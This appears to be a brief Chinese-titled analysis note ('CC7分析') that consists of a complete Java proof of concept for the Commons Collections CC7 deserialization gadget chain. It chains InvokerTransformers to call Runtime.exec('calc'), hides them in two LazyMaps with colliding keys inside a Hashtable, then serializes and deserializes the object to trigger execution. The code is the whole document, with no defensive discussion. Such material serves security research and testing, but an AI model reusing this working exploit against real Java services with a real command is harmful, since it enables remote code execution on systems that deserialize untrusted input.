CC7分析

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc7 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer Testtransformer = new ChainedTransformer(transformers);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1, Testtransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, Testtransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        lazyMap2.remove("yy");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        objectOutputStream.writeObject(hashtable);
        objectOutputStream.close();

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
        objectInputStream.readObject();
  }
}